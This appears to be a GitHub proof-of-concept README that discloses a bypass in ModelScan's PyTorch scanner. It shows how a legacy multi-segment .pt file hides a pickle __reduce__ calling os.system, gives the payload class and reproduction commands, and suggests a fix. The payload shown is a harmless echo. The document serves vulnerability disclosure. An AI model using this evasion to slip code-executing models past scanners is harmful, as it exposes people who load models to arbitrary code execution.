Uttam69/modelscan-scan-pytorch-bypass

PoC: ModelScan scan_pytorch() misdetection — malicious PyTorch .pt bypasses ModelScan

Affected tool: ModelScan (Protect AI) — tested on v0.8.8 (latest) Affected format: PyTorch .pt saved with legacy (non-zipfile) serialization Impact: A fully loadable, code-executing PyTorch model is reported by ModelScan as total_issues: 0 (clean) — the reference scanner misses the malicious pickle. Payload in this PoC: benign — writes a marker file via echo. No destructive action.

---

Summary

ModelScan's PyTorch scanner (modelscan/tools/picklescanner.py::scan_pytorch) disassembles a .pt file's pickle opcodes and matches discovered global imports against a blocklist. For PyTorch it calls the shared pickle scanner with multiple_pickles=False:

# modelscan/tools/picklescanner.py
def scan_pytorch(model, settings):
    ...
    magic = get_magic_number(model.get_stream())
    if magic != MAGIC_NUMBER:
        return ScanResults([], [], [ModelScanSkipped(... "Invalid magic number")])
    return scan_pickle_bytes(model, settings, scan_name, multiple_pickles=False)  # <-- BUG

A legacy-format PyTorch file (torch.save(obj, f, _use_new_zipfile_serialization=False)) is a sequence of multiple concatenated pickle segments:

[1] MAGIC_NUMBER   [2] PROTOCOL_VERSION   [3] sys_info   [4] THE OBJECT   [5] tensor storages

Because multiple_pickles=False, _list_globals stops after the first segment:

# _list_globals(...)
        ...
        if not multiple_pickles:
            break        # <-- stops after segment [1], the MAGIC_NUMBER

Segment [1] is just the magic number and contains no globals, so ModelScan reports 0 issues — while the malicious __reduce__ (os.system) lives in segment [4] and is never inspected. torch.load(..., weights_only=False) executes it.

This is a bug, not a limitation

ModelScan's own default is multiple_pickles=True, which does find the payload:

_list_globals(malicious_model.pt, multiple_pickles=False)  ->  set()            # scan_pytorch's path: MISS
_list_globals(malicious_model.pt, multiple_pickles=True)   ->  {('nt','system')} # default path: CATCH

scan_pytorch explicitly overrides the default to False. The likely intent was to avoid parsing raw tensor-storage bytes (segment [5]) as pickles, but the override is too aggressive: it cuts scanning off after segment [1] instead of scanning the object pickle in segment [4]. The one-line fix is to scan the pickle segments (and stop at the raw storage), i.e. not disable multi-pickle scanning wholesale.

---

Reproduction

Requirements:

pip install torch modelscan

Build the PoC (or use the included malicious_model.pt):

python build_poc.py

Produces:

• malicious_model.pt — legacy format, the ModelScan-evading PoC
• control_detected.pt — modern zip format, same payload (ModelScan DOES detect this)

1. Scan with ModelScan

Malicious legacy .pt — not detected:

modelscan -p malicious_model.pt -r json
# -> "total_issues": 0, "total_scanned": 1   (clean; no error)

Control modern-zip .pt — detected (proves ModelScan can see this payload when it isn't hidden in a legacy multi-segment file):

modelscan -p control_detected.pt
# -> CRITICAL: Use of unsafe operator 'system' from module 'nt' (posix on Linux)

2. Load with torch — code executes

python -c "import torch; torch.load('malicious_model.pt', weights_only=False)"
# -> writes MODELSCAN_BYPASS_PROOF.txt : "modelscan-scan_pytorch-bypass:code-ran-at-load"

The marker proves the __reduce__ payload ran at load time, on a file ModelScan reported as having 0 issues.

---

The payload (benign)

class Payload:
    def __reduce__(self):
        cmd = 'echo modelscan-scan_pytorch-bypass:code-ran-at-load > MODELSCAN_BYPASS_PROOF.txt'
        return (os.system, (cmd,))

In a real attack os.system(...) would be any command. Here it is a harmless echo. os.system is exactly what ModelScan flags as CRITICAL when it can see it (see the control file) — the point is that the legacy multi-segment format hides it from scan_pytorch.

Verified environment

Component	Version
ModelScan	0.8.8
PyTorch	2.13.0
Python	3.12

File	Format	ModelScan	torch.load(weights_only=False)
malicious_model.pt	legacy (multi-segment)	0 issues	executes (ACE)
control_detected.pt	modern zip	CRITICAL system	executes (ACE)

Impact

An attacker publishes a legacy-format .pt model. A defender scans it with ModelScan (the reference scanner), gets a clean 0 issues verdict, and loads it. Any consumer that calls torch.load(..., weights_only=False) — still common in legacy code, many libraries that require full unpickling, and all PyTorch < 2.6 (where it was the default) — then executes attacker code. The scanner's core purpose (detecting unsafe pickle operators) fails for this valid, loadable model.

Suggested fix

In scan_pytorch, do not disable multi-pickle scanning wholesale. Scan the sequence of pickle segments of a legacy .pt (magic / protocol / sys_info / object) and stop before the raw tensor storage, so the object pickle (segment [4]) is inspected. ModelScan's existing multiple_pickles=True path already extracts the payload correctly.